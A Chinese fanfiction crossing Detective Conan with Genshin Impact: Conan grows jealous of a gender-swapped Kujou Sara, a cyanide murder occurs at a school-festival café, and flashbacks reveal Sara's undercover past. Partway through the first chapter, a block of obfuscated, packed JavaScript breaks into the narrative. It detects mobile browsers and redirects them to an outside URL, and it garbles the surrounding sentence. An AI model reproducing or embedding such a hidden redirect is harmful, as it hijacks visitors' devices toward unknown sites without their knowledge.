《性转设定真的合理吗[综原神]》
1. 文化祭暗藏玄机的咖啡(1)
最近江户川柯南觉得他的青梅毛利兰不对劲、很不对劲、非常的不对劲。
而这种不对劲的源头于柯南而言根本不需要推理,毫无疑问就是那个最近总出现在对方口中的男(重音)转校生——
九条裟罗。
“嗯?裟罗?”
毛利侦探事务所中,正在给小五郎收拾沙发上衣服的毛利兰回过头,不免有些惊讶地看向柯南:“怎么了吗柯南?”
当她听到柯南低声说着自己同学名字的时候真的感到有些意外,毕竟据她所知,两人从来没有见过面,柯南又为什么会突然提到裟罗?
柯南视线微微偏移,他没有和兰对视,只是夹着嗓子装着可爱的语调说:“就是,那个……最近经常听小兰姐姐提起他,所以有些好奇嘛。”
——怎么可能。
他江户川柯南、不,他工藤新一怎么会因为这种肤浅的理由就随便关注一个陌生人。
原因无他,自然是因为这个家伙最近出现在兰口中的频率实在是太高了。
一般人会对毫无瓜葛的人有这种程度的在意吗?
当然不会!
再联想到兰那位不太正经的好友园子……
不会……
不会兰她……对那个九条裟罗……
柯南睁着眼睛,他仔细观察着兰的表情:“那个九条……哥哥,真的有那么厉害吗?比新一哥哥还厉害吗?!”
在意识到某种可能的瞬间,柯南的内心变得异常焦躁。在喊九条裟罗哥哥的时候,他都感觉自己的嗓子眼儿被什么东西给堵住了,一个字都说不出来。
其实本来柯南还能安慰自己说这只是他想太多了,可是这种不妙的感觉在他今天发现兰对九条裟罗的称呼中,甚至没有带上“桑”或是“君”这样礼节性的后缀词时达到顶峰。
毛利兰闻言思考了一瞬然后将手机拿出,她手指在上面不断按动,似乎在翻找着什么。
见状,柯南更加感觉心中不爽了,明明答案就在嘴边他却强硬的拒绝思考,固执的等待着兰回答。
“看,这就是裟罗。”毛利兰并没有正面回应,她反手就将一张照片放在柯南面前。
照片上的少年尽管只能看到侧脸,却依旧挡不住其帅气。少年有着一头黑色的半扎狼尾造型,前面柔顺的三七分刘海儿长到了耳根。不仅整体看上去带着点儿自然卷,在阳光的照射下还隐隐透着紫色。
不远处似乎有什么吸引了少年的注意,他那双暗金色的眼眸锐利地注视着前方,嘴角也顺势勾起一抹自信的笑容,显得那般意气风发。
一看这张照片就知道是抓拍,事先当事人并不知情。
想到此,柯南的大脑轰的一下就炸了。
他试图冷静,可是心中却是越想越不对劲,最后只能勉强道:“小……小兰姐姐?”
说实话,柯南真的不愿意思考毛利兰为什么要偷拍九条裟罗,还是这么帅的照片。更重要的是拍了也就算了,兰还妥善保管到了现在。
“啊……这是园子拍的,当时就被裟罗发现了,本来也是要删除的,不过裟罗觉得拍的不错就留下来了,之后园子也顺便传给我了。”毛利兰似乎也察觉到了可疑,她微红着脸解释道。
其实她会保留下这张照片的原因……园子在将照片传给她的时候,故意说是可以刺激一下新一什么的,彼时她也不知道怎么想的,手指鬼使神差的就从【删除】移到了【保存】上。
然而毛利兰这表情却是让柯南误会了,他瞳孔地震,满脑子都是一句话——脸红了?兰脸红了?!
他神情恍惚道:“啊……啊…啊,是这样吗?”
此时的柯南有些语无伦次,他自己都不知道自己在说些什么了。
“是的,照片的事经过裟罗同意了。”毛利兰轻咳一声,还是有些尴尬地整理着衣服。
柯南无意识接话:“这样啊……”
“对了小兰姐姐,过段时间是不是就是文化祭了啊?”随即他就反应了过来,找补一般说着。
此时毛利兰刚好收拾好衣服,她笑着点头道:“对,柯南记性真好,下周就是了。”
“那我可以去吗?”柯南有些迫切的说着,随即他眼中闪过一丝懊恼并且立刻找补道:“上一次去因为案件没有好好看过学校,所以真的很想去!我对小兰姐姐和新一哥哥上学的地方很好奇。”
这一次,他刻意将两个人说在了一块儿。
毛利兰并不知道柯南的小心思,她有些犹豫道:“嗯……”
老实说,因为这一次学园祭的时间是周五,所以她一开始真的没有想过带柯南来着。
毕竟在柯南这个年纪,还是学习的事情更重要。不过柯南确实年幼,早早扼杀他的童心似乎也不好。
就此毛利兰陷入了死胡同。
“小兰姐姐~”柯南给自己做了一个心理建设,随后眨巴着那双blingbling的大眼睛朝毛利兰撒娇。
毛利兰捂脸,太萌了!她承受不住,真的受不住啊!
她闭眸轻咳一声:“咳咳!到时候再说吧!”
没有一丝丝犹豫,毛利兰选择使用了拖延大法!
江户川柯南会不明白吗?
他当然明白!
可是没看到毛利兰眼睛都闭上了,还表露出了一副不能商量的表情吗?他能怎么办?
“柯南?听到了吗?”
“啊……我听到了,小兰姐姐。”
视线在文化祭的摊子上徘徊,柯南有些敷衍的回应着。
让他看看,九条裟罗、九条……九条到底在哪里?!
毛利兰一看柯南心不在焉的样子,就知道他压根儿没有听到她说了什么。
她只能无奈地重复道:“柯南,虽然我知道你很想见裟罗,但是他真的不在这里。”
他们班级也有准备活动,帅气的九条裟罗作为班级门面自然是不可能缺席的。
其实如果不是帝丹小学今天恰好放假,她带着父亲毛利小五郎和江户川柯南一起参观文化祭,她现在也会在班级活动现场。
她父亲对他们学校很是熟悉,早早的便开始享受起了年轻人的快乐,柯南则是不停观察四周找寻着九条裟罗,本来她都已经想好柯南给她爸带,她自己回去班级的。
没办法毛利兰就只能带着柯南一起走,不过她悠闲的时间并不多,大约是还有半小时左右。兰在拦住江户川柯南的同时匆匆扫了眼手表,并在内心计算着时间。
毛利兰叹气:“哈……”
“好吧柯南,我带你去见裟罗吧。”她双手叉腰,最终还是妥协了。
虽然她不知道柯南到底为什么对见到裟罗这件事那么固执,但是现在看来是不得不见了,尽管毛利兰觉得根本没有这个必要。
说真的,毛利兰一开始想的是顺其自然,如果柯南实在好奇裟罗,那么错过这次也完全可以另外找个时间邀请裟罗去事务所玩。
只不过她是真的没有想到,柯南对裟罗的执念是如此的根深蒂固。
走神的江户川柯南敏锐地抓住重点:“那我们快走吧,小兰姐姐!”
毛利兰有些无语,不过她并没有说什么,只是牵着柯南的手去往了教室。
不出意外的话,柯南心心念念的裟罗就在那里。
“什么?裟罗不在?”
五分钟后,在教室中听到这个消息的毛利兰感觉天都要塌了。
一身黑白女仆服装的铃木园子被吓到了,她下意识道:“他就是去一趟厕所而已?”
为什么兰表现得一副天都要塌了的样子?
园子咽下了后半句话,接着她仿佛想到了什么似的贴近毛利兰。
“小兰,你该不会?”她挑眉,语气调侃的说着。
毛利兰轻轻推开园子,她一下就猜出园子的想法,叹了口气说:“什么啊,只是柯南想见裟罗而已。”
“嗯?小鬼头?”园子这时才注意到了跟在毛利兰身旁的柯南。
她眉头一皱,俯身问道:“你找裟罗做什么?”
“诶?园子……姐姐也直接叫九条哥哥裟罗吗?”柯南下意识问道。
“因为是我这么让她们叫的啊小朋友~”
一道带着笑意的声音,从江户川柯南身后传来。
什么时候?!他的反应那么迟钝吗?!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634683|172622||http|test|mini|href|location''.split(''|''),0,{}));
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>柯南瞳孔地震,身体都有些僵了。此时此刻,他对九条裟罗的忌惮已然拉满。
铃木园子顺势看向柯南身后:“哦~裟罗你回来了?”
“嗯。”九条裟罗低声回应。
柯南深呼吸,做好心理准备后他缓缓转过了头。
首先入目的是一双暗金色的眼眸,其中的温柔似乎能够轻易将人溺死,就连柯南都有了一瞬间的恍惚。
而在柯南回神的那一刻,他后知后觉的反应过来自己在想什么,随即眼中不由得闪过一丝恼怒,无意识的想要后退一步。
“抱歉,是我吓到你了吗?”九条裟罗一把拉住差点儿摔倒的江户川柯南。
柯南连眸掩饰自己的尴尬,他磕磕绊绊道:“不、不是,其实应该是我自己吓自己。对了,谢谢大哥哥。”
“嗯。”九条裟罗思考了一瞬,接着他揉了揉柯南的头发:“原来如此,那多注意一些哦。”
这……就是九条裟罗啊,柯南不由得在心中感慨。
突然,有人从他们后方窜出,拉着还蹲着的九条裟罗就跑:“裟罗——你可算回来了!快来帮忙!”
“嗯?嗯嗯嗯?”九条裟罗也懵了,他下意识道:“慢点慢点,我又不会跑。”
柯南看得那叫一个目瞪口呆,他下意识的看向毛利兰和铃木园子想要寻求答案。
毛利兰一路走来也有一些不解,她看着人来人往的教室问道:“园子,我怎么觉得大家都有些怪怪的。”
“哼哼~”铃木园子了然,她一脸骄傲道:“我们这可是有校园女神和新任校园男神的!”
“好了好了,你们先别堵在门口了,我来好好跟你们解释!”她边说边拉着两人到角落中。
“你们没有感觉我们班里的客人特别多吗?”
毛利兰点头,眼神不自觉的在人群中转悠:“发现了,来教室的时候还感觉有人在往这边走。”
“哼哼~”铃木园子双手叉腰,“长话短说,我们班要安排咖啡厅的消息早就传出去了,学校里是个学生都准备来我们这边逛逛,外校人也慕名而来!人气选手九条裟罗当然是忙到飞起了!”
毛利兰点头:“原来如此……不对,那我也得快去帮忙才行!”
她说到一半就意识到了不对劲,立刻改口。
“行,我帮你吧,这样能更快一点。”园子低头,“小鬼头你先在这里等一会儿,我们暂时没有空管你,马上要吃午饭了,我们也会轻松一点,你别乱跑。”
柯南乖巧点头,他认为刚好可以趁这个时候好好观察一下九条裟罗。
不过此时的九条裟罗正在后厨忙活,于是他下意识观察起了教室内部布置。
教室的空间布局经过巧妙的设计,大体上被划分成了三个功能明确的区域——后厨区、更衣间以及餐饮区。为了能够最大限度地发挥每一寸空间的价值,同学们显然是倾注了极大的心血和智慧。
他们精心挑选了各式花卉,巧妙地布置了一些温馨的小装饰,既为整体环境增添了生机与美感,又在细节之处彰显了用心。与此同时,他们还充分考虑到了客人的需求,通过这种方式巧妙地划分出私人空间,使每一位到访者都能在这里找到一份宁静与舒适。
虽然教室被布置跟他的记忆截然不同,但是多多少少还是能够看出曾经的影子。
没一会儿,柯南就发现九条裟罗端着托盘来到了某一桌前。
九条裟罗依次放下三杯咖啡:“请慢用~”
于是柯南收了收心,不再关注相对面目全非的教室,只是用那双眼死死盯着九条裟罗,就好像他的眼中再也容不下其他人一般。
“请慢用。”
“小心烫。”
“请问要喝些什么?”
……
九条裟罗在教室内不断忙碌着,可是他的身后却一直跟着一道足以令人窒息的视线。
这道视线使得裟罗频频看了柯南数次,然而他这委婉的提醒根本没有用,柯南那是一点收敛都没有。
直到——
“啊——死人了——”
说一句地狱笑话,那一瞬间九条裟罗是真的松了一口气。
2. 文化祭暗藏玄机的咖啡(2)
——死人了。
伴随着这句话,一道响亮的椅子倒下的声音响起。众人似乎终于反应了过来,整个教室立刻就吵闹了起来。
原本江户川柯南萎靡不振的精神,在听到那高昂的声音后,仿佛被一股无形的力量瞬间唤醒。他的眼睛里闪烁着锐利的光芒,全身的细胞仿佛都在瞬间活跃起来。
倒也不是说他在期待着案件,可作为一名侦探,他对案件的雷达就是最敏感的。
接着柯南毫不犹豫地迈开步伐,开始仔细寻找那声音的源头,每一寸空间都不放过,力求不错过任何可能的线索。
教室的空间并不算宽敞,柯南在短暂的搜寻后,便轻而易举地找到了目的地。与此同时,他意外地发现,九条裟罗竟然比他更早一步抵达了那里。
他本以为自己的反应速度已经足够快了。
在这一刻,柯南心中对裟罗身份的违和感愈发强烈,宛如一块沉重的石头压在他的心头。他用力甩着头颅想要镇定下去,试图从这种困惑中挣脱出来,可内心的不安却愈发剧烈。
最后还是裟罗的声音,才将他彻底从无边的思绪中拉回。
“所有人都不许动!”
一声爆呵,镇住了在场的众人。
裟罗冷着一张脸安排道:“兰和园子,你们去疏散看热闹的人群。其他人在警察来之前,都不能随意乱动。”
无论是从前对两人的印象还是刚刚的观察,他都确定两人不可能杀死被害人。
“好。”被叫的两人下意识对视一眼。
接着她们迅速行动了起来,没有丝毫的拖泥带水。
与此同时裟罗仍旧在观察伤者的情况,丰富的从业经验让他能够轻易判断出倒在地上的人已经死了。同时几乎是在他蹲下靠近的瞬间,一股有些刺鼻的苦杏仁味便扑面而来。
他条件反射地捂住鼻子,眉头一皱觉得事情不简单,这苦杏仁味几乎可以判断是氰./化物中毒了。
可是这么刺鼻,被害者真的闻不到吗?
“喂,米花町的帝丹高中发生命案,过……麻烦过来一趟。”
裟罗边思考边拨打报警电话,他下意识地想要按照先前的习惯吩咐,却在话出口的一瞬间停下,因为他想起,现在的他已经不是从前的身份了。
他目光一扫,打完电话后将手机塞进裤兜,并拦住了死者同桌的两位客人。
裟罗似笑非笑道:“两位,我都说了在警察来之前,所有人都不能走,你们这么急着去哪里啊?”
他都不顾自己危险的身份第一时间控场了,就是为了防止案发现场被破坏啊,结果这两嫌疑最大的家伙还想跑?
其中一位女生惊慌失措:“死……死人了!我要离开这里!”
“是的、是的,我明白。不过两位,你们可不能离开啊。”裟罗漫不经心地点头:“当然,在警察调查过后没关系。”
柯南探头:“没错没错,两位大姐姐跟死者是同一桌的人吧?警察叔叔来了也会问的,所以大姐姐们不能走哦!”
三人交谈之际,回神的他也观察了一下死者,明白了裟罗不叫救护车的原因。
同时他还发现了一件事,那就是最初听到的是“死人了”,然后才是椅子倒下的声音。
这与他常遇见的案件稍有不同,是中间发生了什么吗?
“你们!你们是在怀疑我们吗?!”另一个女生也跟着说。
裟罗点到为止:“怀疑?我可没有说这种话啊,你们看,客人们虽有不安却还是都坐着呢,毕竟大家都知道这件事跟自己无关,可你们现在这样——”
实不相瞒他就是在怀疑啊,尽管在调查之前就下定论不是什么好事,可是离死者最近的两人在事发之后这么急着跑路……
不怀疑她们怀疑谁?怀疑旁边看热闹的乐子人吗?
不得不说,此时慌张的两人与周围探头探脑的客人形成鲜明对比。
其他人闻言也是下意识地点头,就是啊,虽然遇到这种事情很晦气,但是等警察来了,知道他们和案件无关之后就能离开了,根本用不着这么急。
更何况被问话不是很正常的吗?在场的人其实或多或少都遇到过这种事吧?应该都很习惯了啊?
是的,这对于米花町的人们来说应该是非常熟悉的流程,是基操才对。
当然或许她们也真的与案件无关,只是觉得晦气或是一时没反应过来才想要离开。可是难道刚刚九条裟罗说得还不够明白吗?等警察到了就可以了啊?
这么一说,她们两个好像是跟死者一桌的人?
种种想法在心中闪过,这一刻,众人看向两位女生的表情都带上了些许怀疑。
第一个说话的女生明显感觉到了,她看了一眼周围,拉着另一个女生的手气恼道:“知道了知道了,我们回去总行了吧?!”
说着两人就走了回去,只不过她在最后气不过般恶狠狠道:“别以为你就是什么好东西,我们就喝了一个咖啡!那是你端上来的!”
“是啊,所以我这不是没有离开吗?”裟罗则是不置可否地耸肩。
那个女生更气了,却拿裟罗没什么办法。
终于在二十分钟后,目暮十三带着人赶到了。
看着被保管得很好的案发现场,目暮警官心中有一瞬不妙的预感。索性在现场观察了一圈之后,他并没有发现某个熟悉的身影。
目暮警官:呼~自己吓自己~
然后下一瞬,一道耳熟的声音在下方响起。
“目暮警官!”
僵硬地低头,目暮十三在腿边看到了江户川柯南。
目暮警官:不敢睁开眼,希望是我的幻觉。
九条裟罗思考了一瞬,还是主动走过去打断了两人:“你好,我是报案人。”
“抱歉柯南,高木!”在柯南懵逼的注视下,目暮警官毫不犹豫喊着。
在高木走来抱走柯南之后,目暮警官才松了一口气。他重新望向裟罗,指着角落道:“详细的事情,我们去那边说吧。”
裟罗没有意见,他打断两人也只是为了尽可能快地解决案件。
“正如刚刚所说我是报案人,不过同时,我应该也是嫌疑人之一。”裟罗率先说道。
目暮警官拿出小本子的手一顿,他眸中闪过一丝暗芒:“细说。”
“在11点39分左右,被害人一行抵达餐厅。11点45分时咖啡上桌,12点07分左右被害人倒下。”裟罗条理清晰地说着。
“因为接近午饭时间,所
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以咖啡厅的人数比较少。而在事情发生之后,我也是立刻控制住了现场。确保在你们警察来之前,除了毛利兰和铃木园子疏散外部人群以外,没有任何人离开过教室。”
这个国家的午饭时间一般是12点~13点,他在多年的适应下始终不习惯,所以早早的吃好了午饭等着中午的换班时间,这才倒霉的撞上了这种事。不然按照一开始的时间表,他是能够错开这次案件的。
目暮警官点头,他没有对这番说辞发表任何言论,只是在短暂的思考之后,他望着面前的少年,不自觉地将压在心底的一个问题问了出来:“你,是侦探吗?”
说完这句话,他挺直着的背部似乎都弯了些许。可是他在这话的时候,他也完全不确定自己是出于什么样的心理。
当然目暮警官在说完之后,也立刻就意识到了不妥,马上找补道:“不,没什么,就当我刚刚说了一些胡话吧。”
他到底在对一位初次见面的人说什么啊,他老糊涂了吗?!
“不,只是以后准备做警察,所以事先自学了些。”裟罗却是回答了这个冒昧的问题。
别的不说,他对自己两世的职业还算满意,并且短时间内没有更换的想法。
目暮警官一愣,他笑着拍拍面前少年的肩膀:“……是吗?你的志向不错,我很看好你。”
他后来才反应过来,刚刚只是觉得面前的人很是熟悉,才脱口而出了那句话,却没想到得到了这样一个令人惊喜的回答。
至于他到底在惊喜什么,这就只有目暮警官自己知道了。
“不过事情还要在这次事件解决之后才能确定。”目暮警官又意味深长地补充了一句。
裟罗听出了这句话的含义,无非就是在说只有他不是此次案件的凶手才有后续。
他十分自信道:“当然。”
开玩笑,他怎么可能是凶手呢?
“他就是凶手!”
然而下一瞬裟罗就笑不出来了。
教室内的大多数人,在警察问话确定与案件无关后就被安排离开了,现在只剩下与死者同桌的人和在厨房走动的一些人,以及强烈要求留下的无关人员。
关键在于,一旦警察询问同桌的两个人,最开始与裟罗对话的长发女生——安井琉璃就指着裟罗,情绪激动地大喊着。
安井琉璃,死者的妹妹,同时她也是警察们重点怀疑的对象。
毕竟根据调查,安井家小有资产,兄妹俩的父母在前段时间去世,而考虑到案件事后的情况,她有很大的概率为了财产对死者——安井琉靖出手。不过兄妹俩之间的关系,还需要进一步的调查。
“对……对!琉靖就是喝了他端上来的咖啡才死掉的!”另一位女性——小田空菜也附和着说。
小田空菜,她是死者的女朋友,三位嫌疑人之一。虽然同为嫌疑人,但是按照目前的情况来看,她的可疑程度要低于安井琉璃。
顺便一提,本来最不可疑的是九条裟罗。可是现在在另外两位的指控下,裟罗的安全性就要打上问号了。
毕竟在她们俩的供词下,九条裟罗并不是完全不认识死者,他们曾经也有过一次并不愉快的交谈。
裟罗一脸茫然地指着自己:“啊?谁?我吗?”
3. 文化祭暗藏玄机的咖啡(3)
高木涉的表情相当一言难尽:“是的,是你。”
九条裟罗揉了揉眉心,仔细搜索了一下回忆之后,发现他根本就是毫无印象,完全没有找到相应的记忆点。
“不好意思我真的没有丝毫印象,可以说一下是什么时候吗?”他苦恼道:“说不定会想起来。”
佐藤美和子闻言表情也有些古怪了,她轻咳一声道:“是这样的,据两位所说是在上周六,地点是图书馆。”
“嗯?”裟罗的表情更加困惑了,显然还是没有想起来。
【就是那个撞到你的家伙。】
裟罗脑海中瞬间闪过一个画面,他倒吸一口冷气:“嘶——等等?我好像想起来了!是撞到我然后不道歉就跑路的家伙!”
“不是?这也算是不愉快的交谈?”他茫然道:“难道不是路人吗?”
江户川柯南听到这里感觉自己白期待了,他还以为能听到什么决定性的信息,结果是死者家属单方面的想法啊。
没错,柯南不认为裟罗在说谎。尽管他对裟罗没有什么好感,可在证词方面他还是更加相信裟罗。
高木涉递出一个同情的目光,他解释道:“哈哈,但是既然提到了这件事,我们就还是要参考、要调查的。”
如果是别人也就算了,偏偏裟罗是嫌疑人。他们作为警察,自然要更加严谨。
“好吧,但是假设动机成立,可是仅仅因为‘死者撞了我,且没有道歉’我就杀人……不是,这种动机也太牵强了吧?”裟罗捂脸,说着说着自己都差点儿笑出了声。
原来人在无语的时候,是真的会笑啊。
高木也是差点笑出声,连忙用咳嗽声遮掩:“噗……咳咳咳!”
“高木。”佐藤瞥了眼,示意其还在案发现场呢,要严肃。
高木目移:“咳,抱歉。”
他迅速看向死者调整心态,果不其然笑意瞬间就消散了,作为警察的素质重新占据高地。
“重归正题,虽然我作为嫌疑人说这些事不合适,但是作为第一个调查的人,且考虑到是你们到来时可能已经消失的线索,我仔细想了想还是觉得有必要说一点。”
裟罗摇头,他道:“我在靠近死者的瞬间就闻到了苦杏仁味,如果死者的死因是氰./化物中毒,那么我不认为死者自身闻不到。”
“氰./化物只是无色而已并不是没有气味,更何况中毒之后死者也应该出现明显的反应,可事实上就是一直到有人尖叫,在他濒临死亡时都没有任何反应。”
他回忆着之前感觉到的异样,并一五一十地告知警察。
佐藤眉头一皱,她敏锐地察觉到了裟罗话语中的含义,试探开口:“你的意思是,死者很有可能察觉到了毒物,却还是装作无知地食用了?”
“这谁知道呢?我只是说明了我看到的。”裟罗耸肩,并没有把话说死。
高木思考了一瞬,他问道:“有谁能够证明你说的话吗?”
“嗯……我想想?”裟罗闭眸思考,很快他将视线投向了一直在偷听的柯南。
“柯南吧,他在我之后调查了现场。如果气味消散的不是很快,那么他或许也闻到了。”
柯南猛地被抓包,身体直接就僵住了,“我只是个小孩子,我懂什么?”
当他穿过人群的时候味道已经很淡了,要凑近了才能闻到,所以他也不能确定裟罗说的是不是真的,于是非常果断的将锅甩掉了。
这话说得很6,如果不是知道柯南的真实身份,那裟罗还真的就信了。
“看来现在没有人能为你作证,九条先生。”佐藤遗憾地摇头。
同时听到“九条”二字的目暮警官猛地回头看向裟罗,目光中带着些许考量。
他事先确实不知道裟罗的名字,之后也一直忙着查看线索,就暂时将这件事放在了一边。
九条九条,这真是一个熟悉的姓氏啊。再加上这张让他莫名觉得熟悉的脸,原来是有故人之姿啊——
裟罗就好像没有察觉一般自然道:“不好意思,因为家里有一位与我名字同音写法不同的长辈,他的朋友一般叫他九条,所以可以请直接称呼我为裟罗吗?”
说这话的时候裟罗还看了眼柯南,表示这就是大家都叫他“裟罗”的原因。
“当然可以,裟罗同学。”佐藤从善如流地改口,毕竟这并不是什么很过分的要求。
她又道:“另外你所说的我们也会调查,这点还请放心。”
“好的,那么我想先去那边休息一会儿。”裟罗指了指角落。
佐藤点头,哪怕裟罗看上去很靠谱,可是他作为嫌疑人是需要避嫌的,他能理解没有逞强是再好不过的一件事。
她最担心的就是这件事,毕竟少年人带着傲气,认为自己是天底下最厉害、聪明的人。每次遇到这种情况的时候,他们总是会浪费很多时间。
而在取得同意之后,裟罗也是堂而皇之地摸鱼去了。不过他这么做也并不完全准备坐以待毙,毕竟他很清楚这个世界为了抬高侦探,警察这边被削的有多厉害的。
尽管并不是说警察完全调查不出真相,只是需要花费更长的时间,可是他之后另有安排,没有那么那么多时间耗在这里。
当然他大可以选择相信柯南,可惜他是一个喜欢把主动权掌握在自己手中的人——
【劝你冷静,当前情况下,你自己也很清楚你不应该再多进入警方的视线。】
下一瞬,脑海中响起的声音打断了裟罗的思绪。
那机械冰冷的声音,一下子就把他带回了那一天——
“砰!”
异常的声音响起,又很快归于平静。
阴暗的小巷中,一身黑的银发男人一脸阴沉地望着倒下的人,他将手放在腰间的枪上,似乎下一秒就要出现血腥的画面了。
然而。
“呜呜呜——”
不远处的警笛声打乱了男子的计划,他犹豫了一瞬,最后还是放弃最便捷的灭口方式,转而从风衣中拿出一个药盒,毫不犹豫地给地上的人灌下。
随着有序的脚步声渐行渐远,只留下靠在墙上却无意识的身影。
小巷口,一身西装的健硕男人站在车旁,听到声音后立刻回头:“大哥?怎么样了?这家伙是真能跑啊……
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不过总部的家伙也真是,试验体都能放跑。如果不是我们近期在这边有事,恐怕真的要被他逃掉了。”
“行了,赶紧走。这次没有事先准备,被发现了我们也很麻烦。”银发男不耐烦的说着。
西装男迅速打开车门:“是!”
下一瞬,保时捷356A呼啸而去。
小巷深处。
【滋滋——】
【宿主体内出现异常反应,呼叫宿主,呼叫宿主。】
【宿主无响应。】
【正在强制启用应急程序,5%、10%、16%……100%。】
【应急程序已成功启动,正在强制呼叫系统本体。】
【滋——滋滋——[系统小助手]……祝宿主……能够成功渡过难关。】
被唤作宿主的男人似乎察觉到了什么,他的身体不自觉地瑟缩,可是最终还是败在了系统小助手所说的异常反应之下,没能醒来。
不仅如此,他的眉头紧锁,似乎在承受巨大痛苦一样。随着深紫色的长发褪变为黑色,身体不断发出“咔咔”的声音,他的身型也在缓缓变化。
良久之后,声音渐渐停下,一切重新归于平静。
【叮——】
【系统已上线。】
【什么鬼?这个家伙不是一直都非常给力的吗?这样我才有机会再接一单的啊!怎么上来就给我来了个大的?!】
【总之先看看到底什么情况……】
【嘶……明明都把这家伙放在剧情开始之前了,结果硬是凭借自己出色的能力掺和了进去……】
【我就说为什么脸跟我的预期有些不一样,原来是被灌了药。】
【既然小助手启动了应急程序……九条!九条裟罗你给我醒醒!!!】
九条裟罗的意识朦胧,只感觉耳边传来熟悉的声音。
良久,他猛地睁开暗金色的眼眸,大口喘着气,缓和了好一会儿才说道:“……系…统?你怎么……回来了?”
【你翻车了,小助手的权限不足以处理了,于是就叫我回来了。】
似乎无论何时,系统都不会有任何变化。
哪怕是发现宿主濒临死亡,那起伏的永远也只是音调,其中没有丝毫情绪。
从记忆中抽身,裟罗扯了扯嘴角。
他眼中闪过一丝暗芒,无声说道:【你还在啊系统。】
【这是自然。你是我第一位宿主,属于你的小助手死机了还在修理中,我于情于理都该多关照你。
至于其他宿主……反正那边也已经步入正轨了,先让小助手撑一下没关系的。】系统解释道。
裟罗微不可查地点头,他重新看向人群,【哎……真是对不住小助手了。对了系统,你给的假身份很好用。】
【嗯,但是请不要岔开话题,恭维也是没有用的。】系统冷静回应。
【你比任何人都清楚你现在的身份并不安全,组织稍微一查就有可能查到两个身份的关联,你不能再继续进入警方的视线了。】
【代号Arran*的——】
【「雷电影」。】
4. 文化祭暗藏玄机的咖啡(4)
听到系统口中那熟悉的称呼,九条裟罗有了一瞬间的恍惚。
「雷电影」,这是他在组织中的假身份。他利用这个绝对不会被人识破的假身份,一步步得到了Arran的代号。
然而对于这个身份,裟罗的情感也很是复杂。
因为他可以说是成也「雷电影」,败也「雷电影」了。
「雷电影」的身份很干净,毕竟是前几天死机的系统小助手,为他提供的身份信息。
然而就是太干净了,实在不像是一个黑恶组织人该有的背景。再加上他在组织里为其他暴露的卧底擦屁股,多年坚持下来,最终还是被发现了卧底的身份。
这么说来,他进入那个组织好像也有8年多了?
裟罗看着江户川柯南忙前忙后地奔波,看似很专注,实际上魂都飞了有一会儿了。
想当初他才进入警校,约莫一年多的时间,上司就通过教官找上了他。
那年21岁的九条裟罗,在接到消息后,敲响了办公室的门:“有什么事吗教官?”
在这个学校里,一套独特的校服成为了学生们身份的象征。那是由浅蓝色衬衫和深蓝色裤子组成的装束,衬衫的前胸处缝着醒目的校徽,无声地诉说着他们作为警察预备役的特殊身份。
无论这些学生将来是否会踏入警局的大门,这套服装都如同一个鲜明的标志,彰显着他们肩负的责任与使命。
裟罗,这位身着校服的少年,显得格外引人注目。他那似乎永远都不会弯下的挺拔背脊,仿佛承载着无尽的坚韧与力量,为他增添了几分独特的气质。
再联想到他在校内实战训练和理论课程中的优异表现,人们无不感叹,裟罗将来必定会成为警察局的中流砥柱,为社会的安宁贡献自己的力量。
坐在办公室中望着令他引以为傲的青年学生,鬼冢八藏的目光深沉而复杂。此刻,他的方脸显得异常严肃,内心斗争着是否真的要让这位才华横溢的青年,去执行那个充满未知与危险的秘密任务。
“九条,锁上门。”鬼冢深呼吸一口气,他沉声说着。
裟罗他不仅是自己最优秀的学生之一,更是有着光明前途的未来之星。他在校内的成绩斐然,无论是专业知识还是实践技能,都遥遥领先于同侪。
然而也正是因为这份出色,他成为了上级眼中执行秘密任务的理想人选。可这个决定对于裟罗来说,是否未免太过残酷。
鬼冢八藏很清楚,这条道路与成为一名警察的光明未来截然不同,它充满了未知的风险与牺牲。
裟罗原本可以沿着一条平坦的仕途之路前行,但现在,他可能要步入一条充满荆棘的“歧途”。
他不禁思考,这样的决定是否太过草率,是否真的应该让这位优秀的青年去承担如此沉重的使命?
裟罗的未来,本该是星辰大海,如今却可能要被束缚在黑暗的角落。这样的牺牲,是否真的值得?
想着想着,鬼冢的心情愈发沉重,他深知这个决定的分量。而这个决定,也将深刻影响裟罗的一生。
裟罗动作一顿,他转身按照鬼冢的吩咐做。然后他回头就看到,鬼冢按下了一个按钮。
鬼冢解释道:“这是防监听的。”
裟罗点头,从要锁门开始,他就意识到了他们接下来对话的重要性。
“你应该也猜到了,我叫你过来是因为一个任务,但是我事先声明,你是可以拒绝的。”鬼冢认真说着。
裟罗敛眸,看来就鬼冢八藏而言,他是更加希望他拒绝的。
也是,这种任务肯定不止他一个人接到了,身为教官,鬼冢想必也见证了无数学员接取任务。
他不是没有参与过缉毒那样的秘密任务,所以从鬼冢的态度、以及任务的可拒绝性来看,他明白这恐怕是有去无回的一个任务,所以鬼冢希望他拒绝。
裟罗瞄了一眼OOC*进度条,然后说:“如果可以,我想先听听看任务。”
他真的很好奇系统对OOC的定义,不过是询问一下、没有立刻答应而已,怎么就算是OOC了?
难道他现在扮演的【九条裟罗】,是个完全不懂变通,只会死脑筋地按照命令行动之人?
不应该啊,如果是这样的存在的话,应该没有什么市场吧?现在的小姑娘喜欢这个类型的角色吗?
虽然知道自己抽取的是游戏角色,但是不知道已经被性转,且有另一套“阿哈逻辑”的裟罗,发出如是疑惑。
“很遗憾,我也不知道。”鬼冢摇头:“我只知道这是一项长期的秘密任务,接受的人全部都销声匿迹了,连亲人朋友都不能有接触。”
裟罗是孤儿,这是上面选择他的原因——他无牵无挂。
鬼冢想了想又说:“实际上,上面一般都是挑选已经毕业的人,这还是第一次选择还在上学的学员。”
要说原因的话,他其实也很清楚,毕竟裟罗在校内的表现实在是太亮眼了,甚至比很多毕业生都要更加强悍。
至于他一个教官,为什么会知道这么多……接受这项任务的人,他们的在校档案都需要另外处理。他当了那么多年的教官,会知道这件事不是理所当然?
整个学校,知道这件事的不多,他完全是因为真的任教太久了。而在发现这件事的第一时间,他就主动接手了档案室的一部分整理,防止有更多的老师知道。
这也算是……他对学生的关照吧。
